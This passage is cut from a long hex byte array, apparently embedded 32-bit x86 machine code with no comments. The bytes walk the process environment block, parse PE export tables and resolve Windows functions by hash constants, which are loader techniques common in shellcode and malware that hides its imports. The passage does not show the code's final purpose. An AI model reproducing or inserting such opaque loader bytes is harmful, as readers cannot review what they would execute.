,0x0F,0x84,0xE0,0x00,0x00,0x00,0x8B,0x45,0x08,0x8B,0x40,0x04,0x39,0x45,0xDC,0x0F,0x84,0xD7,0x00,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x28,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBA,0x00,0x00,0x00,0x8B,0x45,0xCC,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xDC,0xBA,0x00,0x00,0x00,0x00,0x8B,0x4D,0xCC,0x89,0x41,0x08,0x89,0x51,0x0C,0x8B,0x4D,0xCC,0x8B,0x45,0xD0,0x8B,0x55,0xD4,0x89,0x41,0x10,0x89,0x51,0x14,0x8B,0x55,0xC0,0x8B,0x45,0xCC,0x89,0x50,0x18,0x8B,0x55,0xC4,0x8B,0x45,0xCC,0x89,0x50,0x1C,0x8B,0x55,0xC8,0x8B,0x45,0xCC,0x89,0x50,0x20,0x83,0x7D,0xF4,0x00,0x75,0x08,0x8B,0x45,0xCC,0x89,0x45,0xF4,0xEB,0x21,0x8B,0x45,0xF4,0x89,0x45,0xE8,0xEB,0x08,0x8B,0x45,0xE8,0x8B,0x00,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x8B,0x00,0x85,0xC0,0x75,0xEF,0x8B,0x45,0xE8,0x8B,0x55,0xCC,0x89,0x10,0x83,0x45,0xEC,0x01,0xE9,0x4D,0xFE,0xFF,0xFF,0x90,0xE9,0x47,0xFE,0xFF,0xFF,0x90,0xE9,0x41,0xFE,0xFF,0xFF,0x90,0xE9,0x3B,0xFE,0xFF,0xFF,0x90,0xE9,0x35,0xFE,0xFF,0xFF,0x90,0xE9,0x2F,0xFE,0xFF,0xFF,0x90,0xE9,0x29,0xFE,0xFF,0xFF,0x90,0xE9,0x23,0xFE,0xFF,0xFF,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x54,0x8B,0x45,0x08,0x8B,0x40,0x08,0x89,0x45,0xE4,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xA6,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAA,0x03,0x00,0x00,0x8B,0x45,0xF0,0x89,0x45,0xF4,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xEB,0x1A,0x8B,0x45,0xD8,0x8B,0x55,0xDC,0x83,0xC0,0x01,0x83,0xD2,0x00,0x89,0x45,0xD8,0x89,0x55,0xDC,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0xE0,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x8D,0x45,0xD8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x8B,0xEF,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x1A,0xD9,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x32,0x03,0x00,0x00,0x8B,0x45,0xD8,0x8B,0x55,0xDC,0x83,0xC0,0x01,0x83,0xD2,0x00,0x0F,0xA4,0xC2,0x04,0xC1,0xE0,0x04,0x83,0xFA,0x00,0x76,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xDE,0xD8,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF6,0x02,0x00,0x00,0x8B,0x45,0xD8,0x8B,0x55,0xDC,0x83,0xC0,0x01,0xC1,0xE0,0x04,0x89,0x45,0xD4,0x8B,0x45,0xE4,0x89,0xC1,0xBB,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0xBA,0x00,0x00,0x00,0x00,0x01,0xC8,0x11,0xDA,0x89,0x45,0xC8,0x89,0x55,0xCC,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xE2,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x71,0xD8,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x89,0x02,0x00,0x00,0x8B,0x45,0xF0,0x89,0x45,0xF4,0xE9,0x92,0x00,0x00,0x00,0x8B,0x45,0xF4,0x83,0xC0,0x08,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x92,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x21,0xD8,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x39,0x02,0x00,0x00,0x8B,0x45,0xF4,0x83,0xC0,0x10,0xC7,0x44,0x24,0x08,0x08,0x00,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x4D,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x24,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xDC,0xD7,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF4,0x01,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x85,0x64,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0xD4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x3C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xBF,0xED,0xFF,0xFF,0xC7,0x44,0x24,0x0C,0x04,0x00,0x00,0x00,0x8D,0x45,0xE4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x40,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x9D,0xED,0xFF,0xFF,0x8B,0x45,0xF0,0x89,0x45,0xF4,0xE9,0x86,0x01,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0xC3,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x55,0x01,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0xC3,0x8B,0x45,0xF4,0x8B,0x50,0x0C,0x8B,0x40,0x08,0x89,0xC1,0x8B,0x45,0x08,0x8B,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x89,0x5C,0x24,0x0C,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0x89,0x4C,0x24,0x04,0x89,0x04,0x24,0xE8,0x44,0xE6,0xFF,0xFF,0x89,0x45,0xE8,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x83,0xFA,0x00,0x76,0x11,0x8B,0x45,0xF4,0xC7,0x40,0x10,0xFF,0xFF,0xFF,0xFF,0xC7,0x40,0x14,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0x44,0x24,0x08,0x8B,0x45,0xEC,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x0B,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x71,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x9A,0xD6,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x74,0x4A,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0xE9,0x23,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x65,0x83,0x7D,0xEC,0x00,0x74,0x4A,0x8B,0x45,0xF4,0x8B,0x50,0x14,0x8B,0x40,0x10,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x92,0x23,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x8B,0x55,0xEC,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x85,0x70,0xFE,0xFF,0xFF,0x8B,0x45,0xF0,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x86,0xEC,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC2,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x5C,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA9,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x52,0xEF,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x90,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x35,0xF3,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x75,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x9E,0xFB,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x21,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x38,0xD5,0xFF,0xFF,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x39,0xC7,0x44,0x24,0x04,0x20,0x02,0x00,0x00,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x17,0xD5,0xFF,0xFF,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xFD,0xD4,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x90,0x90,0x90,0x55,0x89,0xE5,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x30,0x00,0x00,0x00,0x8B,0x45,0xEC,0x64,0x8B,0x00,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x40,0x0C,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x83,0xC0,0x0C,0x89,0x45,0xF0,0x8B,0x45,0xF4,0x8B,0x40,0x0C,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x8B,0x40,0x18,0x89,0xC2,0x8B,0x45,0x08,0x39,0xD0,0x72,0x1F,0x8B,0x45,0xFC,0x8B,0x40,0x18,0x89,0xC2,0x8B,0x45,0xFC,0x8B,0x40,0x20,0x01,0xD0,0x8B,0x55,0x08,0x39,0xC2,0x73,0x08,0x8B,0x45,0xFC,0x8B,0x40,0x18,0xEB,0x15,0x8B,0x45,0xFC,0x8B,0x00,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x3B,0x45,0xF0,0x75,0xC2,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0x83,0x7D,0x08,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x60,0x8B,0x45,0x08,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x0F,0xB7,0x00,0x66,0x3D,0x4D,0x5A,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x47,0x8B,0x45,0xFC,0x8B,0x40,0x3C,0x89,0xC2,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x00,0x3D,0x50,0x45,0x00,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x24,0x8B,0x45,0xF8,0x0F,0xB7,0x40,0x16,0x66,0x89,0x45,0xF6,0x0F,0xB7,0x45,0xF6,0x25,0x00,0x20,0x00,0x00,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xE0,0x30,0x00,0x00,0x00,0x8B,0x45,0xE0,0x64,0x8B,0x00,0x89,0x45,0xDC,0x8B,0x45,0xDC,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x8B,0x40,0x0C,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x83,0xC0,0x0C,0x89,0x45,0xE8,0x8B,0x45,0xEC,0x8B,0x40,0x0C,0x89,0x45,0xF4,0xEB,0x42,0x8B,0x45,0xF4,0x8B,0x40,0x18,0x39,0x45,0x08,0x74,0x2B,0x8B,0x45,0xF4,0x8B,0x40,0x18,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8B,0x55,0x0C,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x7D,0x01,0x00,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x74,0x08,0x8B,0x45,0xE4,0xEB,0x19,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x3B,0x45,0xE8,0x75,0xB6,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x53,0x81,0xEC,0x30,0x03,0x00,0x00,0xC7,0x44,0x24,0x04,0x2E,0x00,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0x07,0x21,0x00,0x00,0x83,0xC0,0x01,0x89,0x45,0xF4,0x8B,0x55,0xF4,0x8B,0x45,0x0C,0x29,0xC2,0x89,0x55,0xF0,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0xB9,0x05,0x01,0x00,0x00,0xBB,0x00,0x00,0x00,0x00,0x89,0x18,0x89,0x5C,0x08,0xFC,0x8D,0x50,0x04,0x83,0xE2,0xFC,0x29,0xD0,0x01,0xC1,0x83,0xE1,0xFC,0xC1,0xE9,0x02,0x89,0xD7,0x89,0xD8,0xF3,0xAB,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xA6,0x20,0x00,0x00,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x88,0x20,0x00,0x00,0x89,0xC2,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0x01,0xD0,0xC7,0x00,0x64,0x6C,0x6C,0x00,0x8D,0x85,0xDA,0xFC,0xFF,0xFF,0xB9,0x08,0x02,0x00,0x00,0xBB,0x00,0x00,0x00,0x00,0x89,0x18,0x89,0x5C,0x08,0xFC,0x8D,0x50,0x04,0x83,0xE2,0xFC,0x29,0xD0,0x01,0xC1,0x83,0xE1,0xFC,0xC1,0xE9,0x02,0x89,0xD7,0x89,0xD8,0xF3,0xAB,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8D,0x85,0xDA,0xFC,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xF4,0x1F,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8D,0x85,0xDA,0xFC,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xD6,0x01,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x75,0x22,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x98,0xDC,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x5C,0xFE,0xFF,0xFF,0x89,0x45,0xE8,0x8B,0x45,0xE8,0xEB,0x28,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x76,0xDC,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x10,0x00,0x00,0x00,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x81,0xC4,0x30,0x03,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x58,0x8B,0x45,0x10,0x66,0x89,0x45,0xC4,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x95,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x51,0x01,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x8B,0x40,0x3C,0x89,0xC2,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x83,0xC0,0x78,0x89,0x45,0xE4,0x8B,0x45,0xE4,0x8B,0x40,0x04,0x85,0xC0,0x74,0x09,0x8B,0x45,0xE4,0x8B,0x00,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x15,0x01,0x00,0x00,0x8B,0x45,0xE4,0x8B,0x10,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xE0,0x8B,0x45,0xE4,0x8B,0x40,0x04,0x89,0x45,0xDC,0x8B,0x45,0xE0,0x8B,0x50,0x1C,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xD8,0x8B,0x45,0xE0,0x8B,0x50,0x20,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xD4,0x8B,0x45,0xE0,0x8B,0x50,0x24,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xD0,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x83,0x7D,0x0C,0x00,0x74,0x6C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xEB,0x56,0x8B,0x45,0xF0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0x01,0xD0,0x8B,0x10,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xCC,0x8B,0x45,0xCC,0x89,0x04,0x24,0xE8,0x73,0xDB,0xFF,0xFF,0x39,0x45,0x0C,0x75,0x29,0x8B,0x45,0xF0,0x8D,0x14,0x00,0x8B,0x45,0xD0,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xD8,0x01,0xD0,0x8B,0x10,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xF4,0xEB,0x2F,0x83,0x45,0xF0,0x01,0x8B,0x45,0xE0,0x8B,0x40,0x18,0x39,0x45,0xF0,0x72,0x9F,0xEB,0x1E,0x0F,0xB7,0x55,0xC4,0x8B,0x45,0xE0,0x8B,0x40,0x10,0x29,0xC2,0xC1,0xE2,0x02,0x8B,0x45,0xD8,0x01,0xD0,0x8B,0x10,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x31,0x8B,0x55,0xF4,0x8B,0x45,0xE0,0x39,0xC2,0x72,0x24,0x8B,0x55,0xE0,0x8B,0x45,0xDC,0x01,0xD0,0x8B,0x55,0xF4,0x39,0xC2,0x73,0x15,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x3B,0xFD,0xFF,0xFF,0x89,0x45,0xF4,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xD8,0x30,0x00,0x00,0x00,0x8B,0x45,0xD8,0x64,0x8B,0x00,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x8B,0x40,0x0C,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x83,0xC0,0x0C,0x89,0x45,0xE8,0x8B,0x45,0xEC,0x8B,0x40,0x0C,0x89,0x45,0xF4,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x36,0x1E,0x00,0x00,0x85,0xC0,0x0F,0x95,0xC0,0x0F,0xB6,0xC0,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x74,0x26,0x8B,0x45,0xF4,0x8B,0x40,0x28,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xA1,0x48,0xE1,0x88,0x6C,0xFF,0xD0,0x85,0xC0,0x75,0x31,0x8B,0x45,0xF4,0x8B,0x40,0x18,0xE9,0x01,0x01,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x40,0x30,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xA1,0x48,0xE1,0x88,0x6C,0xFF,0xD0,0x85,0xC0,0x75,0x0B,0x8B,0x45,0xF4,0x8B,0x40,0x18,0xE9,0xDB,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x3B,0x45,0xE8,0x75,0x9E,0x83,0x7D,0x0C,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBB,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x14,0x82,0x88,0x6C,0xE8,0x25,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xDA,0xEC,0x01,0xA3,0x89,0x04,0x24,0xE8,0x94,0xFD,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7F,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xD0,0x8B,0x45,0xD0,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x89,0x04,0x24,0xE8,0xDE,0x1A,0x00,0x00,0x66,0x89,0x45,0xCC,0x0F,0xB7,0x45,0xCC,0x01,0xC0,0x66,0x89,0x45,0xCC,0x0F,0xB7,0x45,0xCC,0x83,0xC0,0x02,0x66,0x89,0x45,0xCE,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x0C,0x8D,0x45,0xCC,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0x8B,0x45,0xE0,0xFF,0xD0,0x83,0xEC,0x10,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xC8,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x78,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x28,0x82,0x88,0x6C,0xE8,0xEB,0xFD,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x1D,0x21,0x88,0x03,0x89,0x04,0x24,0xE8,0x5A,0xFC,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x84,0x9B,0x01,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x28,0x82,0x88,0x6C,0xE8,0xB2,0xFD,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x86,0xE8,0x93,0x16,0x89,0x04,0x24,0xE8,0x21,0xFC,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x65,0x01,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x42,0x82,0x88,0x6C,0xE8,0x79,0xFD,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x44,0x3B,0x99,0x58,0x89,0x04,0x24,0xE8,0xE8,0xFB,0xFF,0xFF,0x89,0x45,0xD4,0x83,0x7D,0xD4,0x00,0x0F,0x84,0x2F,0x01,0x00,0x00,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x0A,0x02,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x0C,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x01,0x01,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x8D,0x45,0xC0,0x89,0x04,0x24,0x8B,0x45,0xDC,0xFF,0xD0,0x83,0xEC,0x08,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xE1,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0x8D,0x45,0xB4,0x83,0xC0,0x04,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xC7,0x04,0x24,0x5C,0x82,0x88,0x6C,0x8B,0x45,0xD8,0xFF,0xD0,0x83,0xEC,0x10,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xAE,0